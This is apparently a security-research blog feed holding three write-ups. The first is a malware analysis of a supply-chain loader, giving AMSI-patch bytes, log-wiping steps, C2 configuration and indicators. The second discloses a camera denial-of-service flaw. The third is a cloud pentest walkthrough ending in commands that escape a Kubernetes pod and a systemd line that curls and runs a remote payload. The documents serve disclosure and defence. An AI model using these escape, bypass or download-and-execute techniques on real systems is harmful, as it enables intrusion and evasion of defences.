XAML‑2 contains two embedded Base64‑encoded sections. These sections are actually two additional XAML files (referred to as XAML-2-1 and XAML-2-2) that were first compressed with ZIP and then encoded in Base64. After decoding and decompressing, XAML-2 loads each file into memory separately with XamlReader.Load().

A code snippet of XAML-2

A code snippet of XAML-2

XAML-2-1

The first file consists of 796 lines. Its sole purpose is to hijack a key AMSI API to bypass anti‑malware scanning.

Sensitive strings in XAML-2-1 are cut into tiny pieces

Sensitive strings in XAML-2-1 are cut into tiny pieces

To avoid detection by anti‑malware signature scans, sensitive strings are split into very short fragments. When XAML-2-1 is loaded and parsed, the fragments are reassembled into the original string.

The key steps it takes to achieve its goal are as follows:

  1. Check the OS architecture by verifying whether IntPtr.Size equals 8. If it does not, the host process isn’t 64‑bit, so abort the hijack operation.
  2. Combine the split strings into a single CLSID GUID (fdb00e52-a214-4aa1-8fba-4357bb0072ec), then try to create an instance of the AMSI COM object using this GUID.
  3. Patch the AMSI module.
    • Create a delegate for the runtime method Console.Clear() and then obtain its native function pointer. Next, patch the method by overwriting its first bytes in memory with the binary payload (41 C7 00 01 00 00 00 33 C0 C3).
    • Obtain the native pointer of the AMSI COM object with Marshal.GetIUnknownForObject(). From this pointer, read the address of its virtual method table and add 0x18 to reach another pointer that holds the address of the CAmsiAntimalware::Scan method.
    • Use VirtualProtect() to make the Scan() pointer writable, change its value from the address of the CAmsiAntimalware::Scan() method to the address of the patched Console.Clear(), and then restore the pointer’s original protection attributes. Once this step is complete, every scan returns AMSI_RESULT_CLEAN (value = 0).

One patch targets the Console.Clear() API, which resides in the memory space of an existing legitimate module, while the other modifies only the virtual tables of the AMSI module, allowing the malware to pass code integrity checks.

XAML-2-2

XAML-2-2 consists of two parts: a .NET module (the first loader, .NET 1 Loader) and a JSON data payload (the C2 configuration, JSON-1). Both components are compressed with ZIP and then encoded in Base64. XAML-2-2 first decodes and decompresses the .NET assembly .NET 1 Loader, then uses the Assembly.CreateInstance() API to create an instance of the .NET 1 Loader and passes the Base64‑encoded JSON-1 to the m.C() method of .NET 1 Loader as a parameter.

.NET 1 Loader

.NET 1 Loader decodes, decompresses, and parses JSON‑1. The decoded and decompressed JSON‑1 is shown below:

{
    "p": "[Base64‑encoded JSON, which we call JSON‑1-p]"
    "c": "[Base64‑encoded JSON, which we call JSON‑1-c]"
}

  • JSON-1-c
    This JSON contains the configuration data that .NET 1 Loader uses to report the execution results of the loaded payload to the C2 server.
    sc false Flag. Determines whether to report the execution result of m.C(). When set to false, reporting to C2 is skipped.
    c null Reporting C2 server. The result returned by the m.C() method of .NET 1 Loader is sent to this server.
    tp null Unknown item, suspected to be a trusted SSL certificate. Thumbprint was used to verify this alleged C2 certificate.
    e null The AES key that encrypts the JSON result returned by the m.C() method of .NET 1 Loader.
  • JSON-1-p
    JSON-1-p is a more complex configuration file. .NET 1 Loader parses its data to prepare and load the subsequent stages. The following configuration keys store the payloads:
    • oib: Base64‑encoded .NET 2 Plugin (PE file)
    • oub: Base64‑encoded XAML that invokes Exit(0)
    • ibk: AES key used to decrypt ibi
    • ibi: A Base64‑encoded collection of compressed, encrypted XAML templates used to build XAML-3. Detailed instructions for decrypting and assembling XAML‑3 are provided in the XAML‑3 section below.

    Other items are passed as C2 configuration to the .NET 2 Plugin at a later stage.

    [
        {
            "c": [
                {
                    "cu": "https://openaigpt4v.com/model_v4/",
                    "tp": "*",
                    "rh": ""
                }
            ],
            "mib": 79200,
            "mab": 100800,
            "mis": 1200,
            "mas": 2400,
            "e": "9fT04e03tAiZAPogcDWt0w==",
            "ii":  null,
            "aop": null,
            "oib": "TVqQAAMAAAAEAAAA//8AALgAAAAAA...",
            "oub": "PFJlc291cmNlRGljdGlvbmFyeS...",
            "wi": 100801,
            "ibk": "W7BHmIRBRY3FOIfWprbW/ZJh5GbPND3sY+qCBDY7O2A=",
            "ibi": "4pUDtQVbD6leQrDvtT3gaaCLec...",
            "de": false
        }
    ]

After obtaining the configuration, .NET 1 Loader proceeds with the following key steps:

  1. Delete the update records from the system log related to the malicious update packages, along with the malicious files and cache files used in stage 1.
    • Delete malicious files extracted from the CAB
      PatchMyPC-ScriptRunner.exe.config
      fabric.config
      Resources.resx
    • Delete CLR usage logs and Windows system Prefetch cache files to eliminate evidence that could be used in forensic analysis.

      %LOCALAPPDATA%\Microsoft\CLR_v4.0\UsageLogs\PatchMyPC-ScriptRunner.exe.log
      %WINDIR%\Prefetch\PATCHMYPC-SCRIPTRUNNER.EXE-*.pf

    • Retrieve the files in the folders matching the pattern 20???? at the path below, where each file name starts with “20” followed by six more characters (e.g., 20260101). Read the files’ contents, filter out any lines containing the exact substring GetExtendedUpdateInfoHandler, and write the filtered content back to the log files. The path contains the keyword CmitUpdateAgent, which may be linked to a custom Windows 10 build used by a government in Asia.
      "%WINDIR%\Logs\CmitUpdateAgent\20????\20??????"

  2. Reset a registry‑based exception‑state logging system by deleting the nine GUID keys under the path LocalMachine\SOFTWARE\Classes\appid\[specific_GUID] one at a time, along with all of their child subkeys. The algorithm that generates the GUID path is unique– it derives the GUID from the C2 URL– so each C2 server has its own distinct set of bound GUIDs. Of the nine GUIDs derived using this method, one indicates that an exception occurred, and the others are numbered 0 through 7.
     
    For example, when the malware catches exception code 129, it creates the registry subkey {bde7ddc2-1f6f-4397-a0df-ae7c7d67d65a} to indicate that an exception occurred. It then checks the bit mask, where 129 equals binary 10000001. Consequently, it creates the eighth subkey {74084115-433e-4fe8-8d01-41c48fbfeef6} and the first subkey {bf6f4bde-97db-4dcd-9546-7ebf10061519}.
  3. Verify that each necessary configuration item exists in JSON-1-p, then validate some of its items against hardcoded values. If any item fails the check, halt the infection chain and submit the execution result to the reporting C2 server.
  4. Verify that the current user is an administrator; if not, throw an exception with code 128.
  5. Check whether the configuration item aop exists. If it does, Base64-decode its value, use the result as XAML-3, and skip to step 9.
  6. Generate a unique malware instance ID for the configuration item ii by calling Guid.NewGuid().
  7. Query the SusClientId value from the registry key SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate. Then generate the value for the newly defined configuration item si by computing a GUID using the same algorithm as above. Use the concatenation of the retrieved SusClientId value and the byte sequence \x14\x43\x9B\x64 as the input data for the algorithm.
  8. Parse JSON-1-p, extract the relevant items and their values, and convert them to XAML format. Next, follow the steps outlined in the XAML-3 section to generate the complex XAML script XAML-3.
  9. Create a COM instance of WScript.Shell (CLSID: 41904400-BE18-11D3-A28B-00104BD35090) and retrieve the environment of the current process. Then set the COMPlus_ETWEnabled environment variable to 0 to prevent the CLR from registering the .NET ETW provider, which hides the associated events.
  10. Use RPC to create a remote COM object (CLSID: ab8902b4-09ca-4bb6-b78d-a8f59079a8d5). Exploit it via an unknown binary object deserialization vulnerability and the TypeConfuseDelegate technique. Once the exploit succeeds, XAML-3 is loaded into the remote host process dllhost.exe. This is a covert method for initiating a new process that loads the malicious payload XAML‑3. This technique effectively separates the infection chain from its initial process, allowing it to bypass behavioral monitoring by security solutions such as EDR.
  11. The execution result (in JSON format, shown below) is first AES‑encrypted using the key from the item e. A randomly generated IV is prepended to the encrypted data, and the result is then Base64‑encoded.

    [
        {
            // Fixed value
            "_": "0202097a-5c1e-460d-b5e0-030b9756b242",
            // Error number: 0 indicates successful execution
            "e": "0 ",
            // Value of config "ii"
            "i": "94aafd58-c00c-402a-aae6-858b4486a1a4"
        }
    ]

  12. POST the encrypted and encoded result to the reporting C2 server.

XAML-3


XAML-3 is a critical payload that, after leaving the original process tree, is loaded and executed in a different process: dllhost.exe. XAML-3 is generated from template XAML-3. As shown in the diagram below, the template is decoded and decrypted using the value of the ibi item in JSON-1-p. In addition to template XAML‑3, the final decryption includes two other XAML templates (template __P1__ and template __P2__).

The multi-layer encryption structure of "ibi"

The multi-layer encryption structure of “ibi”

The AES key is taken from the config item ibk. The first 16 bytes of the encrypted binary data serve as AES IV 1. After decryption, the data consists of a simple header followed by AES IV 2.

Template XAML‑3 includes two string placeholders, __P1__ and __P2__. Each placeholder is replaced with compressed, Base64‑encoded XAML (template __P1__ and XAML‑P2).

The content of template __P1__ is identical to XAML-2-1 and bypasses AMSI in the new process. XAML-P2 is generated from the template __P2__.

Some of the item values in template __P2__ come from the C2 configuration data in JSON-1-p. Within template __P2__, the placeholder __P__ is replaced with a compressed, encoded payload – the .NET 2 Plugin – which is decoded from the oib value in JSON-1-p. After completing all the operations, the template __P2__ becomes XAML-P2.

The C2 configuration in XAML‑P2 is shown below:

Item Value Description
ii 94aafd58-c00c-402a-aae6-858b4486a1a4 Unique ID for this malware instance (if the ii value in the configuration is null, the malware will generate a random one).
ec 9fT04e03tAiZAPogcDWt0w== Base64-encoded AES master key: same as item e in JSON-1-p, used for C2 traffic encryption and authentication.
bi 79200-100800 Actual polling delay if the C2 doesn’t respond: 79200-100800 seconds (22-28 hours) – the code parses the values and multiplies them by 1000 to get milliseconds. This item indicates that the malware uses very long polling intervals.
is 1200-2400 Actual delay: 1200-2400 seconds (20-40 minutes) – a long delay before the initial connection to the C2 server, used for sandbox evasion.
u Base64encodedXAML A short XAML snippet that calls Environment.Exit(0)
wi 100801 Actual initial wait: 100801 seconds (~28 hours). The malware waits approximately 28 hours after initial execution and then exits the process.
de False Local exception logging switch: when set to False, exception logging is enabled.
si 41bd7f37-c3f6-4a9e-b2f3-5363e9a2c095 UID: generated using a custom method based on the registry key value SusClientId.
cu https://openaigpt4vcom/model_v4/ Command-and-control (C2) server URL taken from the C2 server list.
tp * Trusted SSL certificate thumbprint: * indicates that any certificate is trusted (disabling SSL pinning/validation). This entry also appears in a list, corresponding to the C2 item cu.
rh   Additional route header/data: not configured in this instance.

When dllhost.exe loads XAML-3, it loads template __P1__ and XAML-P2 one by one. When XAML-P2 loads, it retrieves the current domain via AppDomain.GetCurrentDomain() and then stores the values of the C2 configuration items (cu, tp, and rh; see the table above) in that domain using AppDomain.SetData(). Finally, XAML-P2 decodes and decompresses the embedded payload (.NET 2 Plugin), loads the .NET 2 Plugin into the current domain, and then calls the plugin’s entry method, m.C().

.NET 2 Plugin

This payload is a .NET assembly (PE file). As discussed above, it is loaded by XAML-P2 into the host process dllhost.exe. In the plugin’s entry method m.C(), a thread is spawned to execute the malicious operations.

The following key steps are executed in this thread:

  1. Configuration initialization: Load the C2 configuration from the current AppDomain’s data storage and assign it to the corresponding member variables.
  2. Gather system information from the registry:
    • "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\full", Key="Version"
      "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion", Key="BuildLab"
    • Combine the queried values into a single string, for example: "4.7.03190\n17763.rs5_release.180914-1434". If any query fails, replace its result with a hyphen (“-“).
  3. Clear the state of the exception‑state logging system: .NET 2 Plugin uses the same exception‑state logging system as the .NET 1 Loader.
    • Recursively delete 12 GUID subkeys from the registry. The algorithm that generates the GUID path is the same as the one used by .NET 1 Loader. The first eight GUIDs are the same as those that .NET 1 Loader attempted to remove. The remaining four GUIDs were generated using different integer seeds (integer seed = [From 1 to 4]|65536).
    • If steps 1 and 2 are completed successfully, generate a subkey using the integer seed 3|65536. Then create the following registry subkey:
    • "LocalMachine\SOFTWARE\Classes\appid\{ff259bcd-2f0a-44de-b34a-0092fec1d8a2}
      DllSurrogate = ""
  4. Anti-analysis: Check whether the current host process is dllhost.exe by examining Environment.CommandLine.
  5. Prevent the host process from exiting: Create a managed object and retrieve its IUnknown interface. Then call ole32.dll’s CoLockObjectExternal(IUnknown interface) to lock the object in memory, ensuring that the dllhost.exe process created by RPC is not released by the system.
  6. Jitter delay: Before the initial request to the C2 server, wait for a random jitter delay of 20-40 minutes (set by the configuration item “is”=”1200-2400”) to evade sandboxes by causing them to time out.
  7. Set maximum execution time: Create a timer that registers a callback function as a watchdog. The timer waits approximately 28 hours (100801 seconds, retrieved from the configuration item wi) before invoking the callback. The callback fetches the configuration item u, decodes its Base64‑encoded string, decompresses the output, and extracts a XAML snippet from the resulting data. It then loads this XAML, which ultimately triggers Environment.Exit(0).
  8. Periodic polling:
    1. Retrieve the config items cu and ii to build the full URL https://openaigpt4v.com/model_v4/94aafd58-c00c-402a-aae6-858b4486a1a4
    2. Obtain the system proxy using three methods (see the Discovering proxies section below).
    3. Register an HTTPS callback (ServerCertificateValidationCallback) that verifies the server‑side X.509 certificate against the configuration value tp before establishing the connection.
    4. Then, combine the system information with additional details, such as whether the proxy is bypassed, whether it is using a proxy, and the current index in the C2 server list.
    5. Next, encrypt the combined data with AES (see the AES encryption diagram in the network traffic section for more details), and then encode the encrypted output in Base64.

      // Final HTTP request URL
      "https://openaigpt4v[.]com/model_v4/94aafd58-c00c-402a-aae6-858b4486a1a4?b=lM4V3VwrWtXBy4oBGUkXOHfxyLUlrT2hIZGn4C37W1Z3%2FeW1WURJqzaNLQhGFHsWxA2lpJHZSpd8VDLMOQRD%2FfsDswnomIrBpoaNzug3dOtrh1J2KIqZRmKx1TtQsxq1RAGu1y45rSKaPHm9s2HF8A%3D%3D&c=41bd7f37-c3f6-4a9e-b2f3-5363e9a2c095"

    6. Hijack the HTTP User-Agent and replace the value following HOST: with the config value of item rh.
    7. Retrieve a XAML file from the C2 server, update the configuration data, and load the retrieved XAML (for more details on techniques, see the Execute downloaded XAML payload in an isolated AppDomain section).
    8. If a valid response is received from C2, the loop pauses for 5-6 minutes before the next request; otherwise, it pauses for 22-28 hours, checking every 10 minutes to determine whether the allotted time has elapsed.

AES encryption scheme for network traffic


All traffic between the malware and the C2 server is encrypted and authenticated using AES‑128‑CBC with HMAC. The encryption and authentication keys are derived from a master key – specified in the configuration as "ec"="9fT04e03tAiZAPogcDWt0w==" – by applying HMAC with distinct seed values.

For a given master key and a single-byte seed, the derivation works as follows:

  1. Generate a 16‑byte sequence from the seed; this serves as the HMAC key.
  2. Compute HMAC‑SHA256 over the master key to obtain an intermediate key.
  3. Use this intermediate key as the HMAC key to compute HMAC‑SHA256 on the constant byte 0x01.
  4. Take the first 16 bytes of the resulting hash; this becomes the final derived key.

Accordingly, the server-side encryption and decryption keys mirror those on the client (malware) side.

Seed Key type generated (client side) Key type generated (server side)
0 Decryption key Encryption key
1 Decryption authentication key Encryption authentication key
2 Encryption key Decryption key
3 Encryption authentication key Decryption authentication key

The code implements an encapsulation of AES-CBC encryption combined with HMAC-SHA256 integrity verification. It uses a randomly generated IV to symmetrically encrypt the plaintext in CBC mode and produces ciphertext. Next, it calculates an SHA256 message authentication code for the concatenated “IV+ciphertext” using a separate HMAC key. Finally, it concatenates the three segments – IV (16 bytes) | ciphertext | HMAC (32 bytes) – into a single byte array that constitutes the final encrypted message. This follows the standard cryptographic Encrypt-then-MAC construction. The receiver must validate the HMAC before decrypting with the corresponding key and IV, which ensures confidentiality, integrity, and tamper resistance.

Discovering proxies


.NET 2 Plugin detects the system proxy using three methods:

  • Retrieve the system‑wide proxy configuration using the Win32 WinHTTP API function WinHttpGetDefaultProxyConfiguration(), then extract the proxy server with the regular expression (?:([a-zA-Z]+)=)?(.*).
  • If that fails, locate the running explorer.exe process, impersonate its access token using Impersonate(), and retrieve its proxy configuration with the .NET API WebProxy.GetDefaultProxy().
  • If both methods fail, fall back to obtaining the proxy from the .NET property DefaultWebProxy.

These methods ensure that the malware can reach external networks even in complex network environments with proxies.

Execute downloaded XAML payload in an isolated AppDomain


This technique abuses MulticastDelegate again by using reflection to modify its private _invocationList array. .NET 2 Plugin creates a multicast delegate (CrossAppDomainDelegate) and replaces one entry in its invocation list with a malicious delegate pointing to XamlReader.Parse(). When AppDomain.DoCallBack() executes this multicast delegate, it iterates through the invocation list and invokes the injected XamlReader.Parse() to parse and execute the downloaded XAML.

In more detail, the process is as follows:

  1. Create a new isolated AppDomain with a randomly generated GUID as its name.
  2. Copy all configuration data from the current AppDomain into the new one.
  3. Set the proxy information in the new AppDomain and assign it to the variable px.
  4. Use TypeConfuseDelegate to replace TimeZoneInfo.ClearCachedData() with XamlReader.Parse(), thereby modifying the MulticastDelegate(CrossAppDomainDelegate).
  5. Use appDomain.DoCallBack() to invoke XamlReader.Parse() within the isolated AppDomain, executing the downloaded XAML payload.
  6. Transfer any updated configuration data from the new AppDomain back to the original AppDomain.
  7. Unload the isolated AppDomain to complete the cleanup.

This technique keeps the downloaded malicious payload out of the main AppDomain, which increases stability and allows the payload to be fully cleaned up after execution.

Infrastructure

The attack relies on commercial hosting infrastructure. The C2 IP is part of Cloudflare’s CDN, and the domain name is registered with Cloudflare.

Domain IP First seen Domain Registrar/ASN
openaigpt4v[.]com 104.18.14[.]219 Sep 27, 2023 Cloudflare, Inc. / 15169

Victims

Based on KSN telemetry data, we identified a single victim in Asia. Additionally, we learned that the malware was designed to target a specially customized government‑only version of the Windows operating system. Consequently, we infer that the victims are Asian government entities.

Attribution

After analyzing the TTPs, code similarities, and infrastructure, we were unable to link the attack to any known APT group.

Conclusions

Technological sovereignty has become a global trend. In today’s geopolitical climate, a growing number of countries are building their own core software platforms, including operating systems, databases, middleware, and cloud services, with operating systems often the top priority. The advantage is that each country controls the development, operation, and upgrading of its own operating systems, granting it full autonomy over the entire process. On the other hand, it also means that each country must protect this entire vast ecosystem on its own. Bringing the operation and maintenance of such a system to maturity is a lengthy process. Until then, both the system and its emerging supply chain could be exposed to attacks through multiple vectors, increasing potential vulnerabilities.

Indicators of Compromise

File hashes

F2458ED133F8D0CA19E22C10F577E98E    e4537a1762fcafd2fd96bfc825bad34f9db9a24d
E1DC6F1ED193594F2284BE22AE08DFA4               Resources.resx
AB81564BCB8CA7E710C66832DE747556   .NET 1 Loader
CFB8B281BDF5D9390E64B10C312FB2C1              .NET 2 Plugin
67E3617F8709D34F806F8E02BADBA8A5    fabric.config
514AC0D73B8A1B73488EF5E2E55A75C3   PatchMyPC-ScriptRunner.exe.config
514117D536E347560D049CFE0C609632     XAML-1
9000820D8153C24CD60D53001D3A97B6    XAML-2
B3C4A635179680EDAFB5D006CF0CFFC6              XAML-2-1
4F28622C5E60C01319BF48CF742FE1A5    XAML-2-2
C86D53392A87DD3F3E62D62C9B92A9BD              XAML-3

File paths

C:\Windows\SoftwareDistribution\Download\Install\PatchMyPC-ScriptRunner.exe.config
C:\Windows\SoftwareDistribution\Download\Install\fabric.config
C:\Windows\SoftwareDistribution\Download\Install\Resources.resx

Domains and IPs

openaigpt4v[.]com

  • ✇Securelist
  • Millions of security cameras at risk: DoS vulnerability in Intelbras devices João Victor
    Background Network-connected surveillance cameras are now widespread in both home and enterprise environments, so securing them is essential to safeguarding physical spaces and sensitive assets. As these devices continue to gain new features and network connectivity capabilities, vulnerabilities in their implementation can have significant security implications. During our research, we discovered a denial-of-service vulnerability that affects Intelbras IP cameras systems. The flaw resides in a f
     

Millions of security cameras at risk: DoS vulnerability in Intelbras devices

28 de Outubro de 2026, 07:00

Background

Network-connected surveillance cameras are now widespread in both home and enterprise environments, so securing them is essential to safeguarding physical spaces and sensitive assets. As these devices continue to gain new features and network connectivity capabilities, vulnerabilities in their implementation can have significant security implications.

During our research, we discovered a denial-of-service vulnerability that affects Intelbras IP cameras systems. The flaw resides in a firmware update endpoint that is accessible without authentication and allows anyone with access to the local Wi-Fi network to knock cameras offline. A single request disrupts the camera for only about a minute, but sending periodic requests keeps the device offline indefinitely. We reported the issue to Intelbras, monitored the remediation process, validated the fix in the new firmware, and will now demonstrate the exploitation procedure step-by-step.

Following our notification, Intelbras patched the vulnerability and released updated firmware (R.260804) along with update instructions. A candidate ID of CAN-2026-2035970 has been assigned by MITRE following submission, pending the final CVE assignment. Additionally, the Intelbras team recently informed us that MITRE has classified the vulnerability as Medium, assigning it a score of 5.1 under the CVSS 4.0 framework. The issue discussed in this article is no longer present in the latest firmware version.

Firmware

Intelbras provides firmware files on its official website. While users can manually install these updates via an SD card, the cameras also natively support firmware upgrades over the local network via their web interface and mobile app. We obtained the firmware version v240927 for the iM3B-C (IM3 C) camera, which was the latest available version at the time of our research. According to Intelbras, the same firmware is also compatible with the iMX C, iM4 C, iM5 SC, iME 360 C, and iM7+ FC models. Below, we can view the firmware version and the camera model used as an example.

To provide context, we will explain how the camera’s authentication mechanism works and why it is relevant to accessing the camera’s endpoints. The main firmware component is an ARM binary named sonia, responsible for controlling the kernel drivers used by the camera hardware, authentication, and livestream recording, among other things.

How authentication works

The global.login RPC method handles authentication at the /RPC2_Login endpoint. First, the client, such as the mobile app or a custom script, sends the username and an empty password. The camera responds with an authentication challenge (a set of values to verify the password without transmitting it). This response returns a temporary session, the encryption type in the encryption field, a random value, and a realm (authentication scope). At this stage, a false response is normal and does not indicate a failed login, as the authentication process is not yet complete.

Next, the client calculates the response password from the authentication challenge. It first generates an MD5 (username:realm:original_password) hash as the base. It then calculates a second MD5 (username:random:first_md5) hash,  where first_md5 is the result of the previous step. To complete the authentication, the client sends this final result back to /RPC2_Login in a second global.login call, passing the username, calculated password, and temporary session ID.

If the login is accepted, the camera returns true and a new, authenticated session. This session must be used for all subsequent RPC calls, including the camera’s other endpoints, for example, the one that reboots the device or those that expose sensitive information.

Affected endpoint

The affected endpoint is the firmware upgrade route http://<ip_address>/firmwareUpgrade_service/Demo, which lacks authentication checks; furthermore, it fails to verify whether the firmware is actually valid before initiating the upgrade process. This creates a serious issue because the upgrade requires the camera to reboot, and that is precisely when the problem occurs: the camera enters reboot mode and eventually shuts down, appearing offline to the user and anyone who has the camera registered on their device.

PoC: vulnerability exploitation

Now that we have outlined how the vulnerability works, we will use a Python script on an iM3B-C camera to exploit it for demonstration purposes. The exploit contacts the camera’s endpoint to upload firmware. Below, we can see sonia creating the endpoint responsible for the firmware upgrade.

Next, the exploit will hit the endpoint and cause the camera to reboot. Consequently, mobile phones running the Intelbras app will lose connection with the registered device. Below, we can see the camera operating normally: the green light is on and the app is showing it is available for viewing.

The camera is online

The camera is online

After the exploit executes, we can see the effects: the camera goes offline and loses connection to the registered devices.

The camera is offline

The camera is offline

The exploit is quite simple: it sends an HTTP POST request with the firmware, which causes the camera to accept the request and initiate the reboot process. It does not matter whether the firmware is original; the reboot process will start regardless.

New firmware version

After we notified Intelbras about this flaw in the endpoint implementation, the company contacted the OEM vendor. As a result, a new firmware version was released that requires authentication to initiate an update through this endpoint.

Below, we can compare the new firmware, which validates cookies and session data, with the old firmware, which performed no authentication checks and proceeded directly to the update routine.

Real risk

An attacker can remotely trigger the camera firmware upgrade and reboot process without authenticating or supplying a valid firmware image. This may cause the device to go offline, which results in a denial-of-service condition preventing legitimate users from accessing live monitoring or managing the camera.

The potential impact is significant due to the number of affected users. The Intelbras Mibo Smart app, which the company provides to connect and manage the devices mentioned in this report, has over 4,000,000 downloads. Brazil represents the largest user base, followed by Paraguay, Ecuador, Colombia, Argentina, Chile, Peru, Bolivia, Uruguay, and Venezuela. As a result, exploitation of this issue affects a large number of users.

Takeaways

This is a medium-severity vulnerability that Intelbras is already aware of. The issue has been addressed in a newer firmware release (R.260804 along with update instructions), which mitigates this attack vector. Because the vulnerability directly affects the availability and normal operation of the affected cameras, it is highly recommended that users verify the firmware version currently installed on their devices and update to the latest available version as soon as possible. Keeping the firmware up to date is an essential security practice, especially for internet-connected surveillance devices, as outdated versions may remain exposed to known vulnerabilities.

An insecure neighbor: how a vulnerability chain led to an isolation bypass in cloud infrastructure

27 de Outubro de 2026, 09:00

This article is published for educational purposes only, to raise awareness among information security professionals. The research was part of an official bug bounty program on a major platform. We notified the cloud provider about the vulnerabilities in line with our responsible disclosure policy, and all security issues we found were fixed in full. The infrastructure analyzed in this post has been anonymized, so the organization cannot be identified. We believe that regular pentests, bug bounty programs, and conversations between developers and independent researchers are the foundation of security for any IT product.

Introduction

Many experts believe that cloud data breaches are mostly the customers’ fault, caused by issues like misconfigured storage or open ports. However, our penetration test of a major cloud provider demonstrated that critical threats can originate within the provider’s own infrastructure.

This analysis is based on a real-world case that won second place in the System Hacking (Web & Logic) category at Russian Pentest Award 2026. It covers the sequential exploitation of several vulnerabilities and logic errors. Together, they led to critical business consequences and a complete bypass of tenant isolation within the cloud. On October 22, 2026, I presented a technical analysis of this case in my “Smash the Tenant Boundary” talk at Security Analyst Summit (SAS 2026).

1. Gaining initial access through a managed Kubernetes cluster

Our cloud infrastructure pentest followed the threat model of an external attacker with the privileges of a regular tenant. The ultimate goal of the attack was to assume full control of the cloud.

1.1. Escaping the worker node

First, we created a resource in the cloud’s managed Kubernetes cluster (v1.25.16+k0s.0). As a rule, the provider deliberately withholds SSH access to worker nodes from tenants, because they’re paying for a managed service, not for running servers themselves. In this case, however, the cluster’s security policies did not prevent the creation of privileged pods with access to host namespaces. This enabled us to deploy a pod and switch the execution context to the host machine running the container.

kubectl run pod-name-bla \
   --image=alpine \
   --restart=Never \
   --overrides='
 {
   "apiVersion": "v1",
   "spec": {
     "hostPID": true,
     "containers": [
       {
         "name": "priv",
         "image": "alpine",
         "command": [ "sh", "-c", "sleep 3600" ],
         "stdin": true,
         "tty": true,
         "securityContext": {
           "privileged": true
         }
       }
     ]
   }
 }'

After creating the privileged pod, we ran the nsenter command inside the container. It moved the execution context to the host machine:

nsenter --target 1 --mount --uts --ipc --net --pid – bash

After this, the bash shell ran on the actual host machine, not inside the container. Because the pod was privileged, we got full root access to the host machine.

Kubelet configuration and API server address

Kubelet configuration and API server address

Next, we analyzed its file system. While researching the data plane, we found a Konnectivity service token. This component provides a tunnel between the control plane and the data plane of a Kubernetes cluster. It was this component that opened up interesting opportunities for developing the attack.

Konnectivity service account token

Konnectivity service account token

1.2. Analysis of control plane services

After gaining access to the host machine (the worker node mentioned earlier), we analyzed its network interfaces: the user VPC and the Calico interfaces. We extracted the kube-apiserver address (192.168.0.4) from the kubelet configuration file. A subsequent scan of this address revealed the following open ports:

192.168.0.4:9443 open https status=404
192.168.0.4:2380 open
192.168.0.4:6443 open http status=400
192.168.0.4:8132 open
192.168.0.4:9100 open http status=200 title="Node Exporter"
192.168.0.4:9308 open http status=200 title="kube-state-metrics"

Of greatest interest is port 8132, where Konnectivity runs. This service creates a reverse tunnel between the control plane and the data plane so that the data plane is visible from the control plane. This allows management components to communicate with worker nodes, even behind a NAT. The Konnectivity token found earlier granted permission to interact with this service.

Interaction diagram between control plane and data plane via Konnectivity

1.3. Exploiting Konnectivity

To analyze the service on port 8132, we deployed a local test environment. We found that v1.25.16+k0s.0 uses a fork of konnectivty-server, inherited from apiserver-network-proxy in the original Kubernetes.

A quick primer on k0s: this is a minimalist Kubernetes distribution designed for cloud providers. It’s a convenient base for deploying managed clusters (mk8s) with minimal resource overhead. An important feature of k0s is that running user pods on control plane nodes (also known as master nodes) is disabled by default. This meets mk8s security requirements for control plane isolation.

Port 8132, mentioned above, hosts AgentService, which provides a single method: Connect. This method accepts a Packet stream.

service AgentService {
  rpc Connect(stream Packet) returns (stream Packet) {}
}

The code revealed an interesting detail: when AgentService receives a packet of the type DIAL_REQ from a worker node, the server calls the net.Dial() function on the control plane side. The packet structure for the Connect method looks like this:

//apiserver-network-proxy/konnectivity-client/proto/client/client.proto:26

enum PacketType {
  DIAL_REQ = 0;
  DIAL_RSP = 1;
  ...
}

message Packet {
  PacketType type = 1;

  oneof payload {
    DialRequest dialRequest = 2;
    DialResponse dialResponse = 3;
    Data data = 4;
    CloseRequest closeRequest = 5;
    CloseResponse closeResponse = 6;
    CloseDial closeDial = 7;
  }
}

message DialRequest {
    // tcp or udp?
    string protocol = 1;
    // node:port
    string address = 2;
    // random id for client, maybe should be longer
    int64 random = 3;
}

The server reads any Packet packets from the stream initiated by the agent (worker node):

//apiserver-network-proxy/pkg/server/server.go:721
in, err := stream.Recv()
...
recvCh <- in

Next, the packets go to the backend manager:

//apiserver-network-proxy/pkg/server/server.go:748

func (s *ProxyServer) serveRecvBackend(...) {
    for pkt := range recvCh {
        switch pkt.Type {

Then comes the most interesting part:

//apiserver-network-proxy/pkg/server/server.go:888

case client.PacketType_DIAL_REQ:
    req := pkt.GetDialRequest()
    klog.V(5).InfoS("Received DIAL_REQ", "target", req.Address)
    s.handleDialRequest(pkt, backend)

In other words, a DIAL_REQ that comes from the agent (worker node) was considered valid and passed to the packet handler for the corresponding type (DIAL_REQ).

//apiserver-network-proxy/pkg/server/server.go:921
func (s *ProxyServer) handleDialRequest(pkt *client.Packet, backend Backend) {
  ...
  dialReq := pkt.GetDialRequest()
  resp.GetDialResponse().Random = dialReq.Random

  start := time.Now()
  conn, err := net.Dial(dialReq.Protocol, dialReq.Address) // we control proto and address

This created an SSRF primitive in the control plane context, which made it possible to reach not only network resources but also host UNIX sockets. D-Bus (- /run/dbus/system_bus_socket) was chosen as a promising target for interaction. The busctl utility revealed the following services available on the control plane:

org.freedesktop.DBus
 org.freedesktop.PackageKit
 org.freedesktop.PolicyKit1
 org.freedesktop.login1
 org.freedesktop.systemd1
 com.ubuntu.SoftwareProperties

Using the org.freedesktop.DBus.GetConnectionCredentials method with a custom D-Bus client we wrote on top of github.com/godbus/dbus/v5, we were able to retrieve the UID of the current process. In this case, it was 997. Unfortunately, it wasn’t root, which means we couldn’t instantly start a system service in systemd. However, it was still possible to create a user service (system –user). To do this, we first enabled lingering for our UID:

busctl --address=unix:path=/tmp/master-dbus.sock \
  call org.freedesktop.login1 \
       /org/freedesktop/login1 \
       org.freedesktop.login1.Manager \
       SetUserLinger ubb 997 true false

The following sockets were then opened:

/run/user/997/bus
 /run/user/997/systemd/private (this socket is the equivalent of running commands through systemctl --user.)

Through this new socket, we called the StartTransientUnit method of the org.freedesktop.systemd1.Manager service:

StartTransientUnit(
  name: string,
  mode: string,
  properties: a(sv),
  aux: a(sa(sv))
) -> job object path

The properties parameter is exactly where you pass the standard systemd service definition directives. We added the following line:

ExecStart=/bin/sh -c "bash -lc 'curl ip:port/payload -o /tmp/love;chmod +x /tmp/love; setsid /tmp/love '"

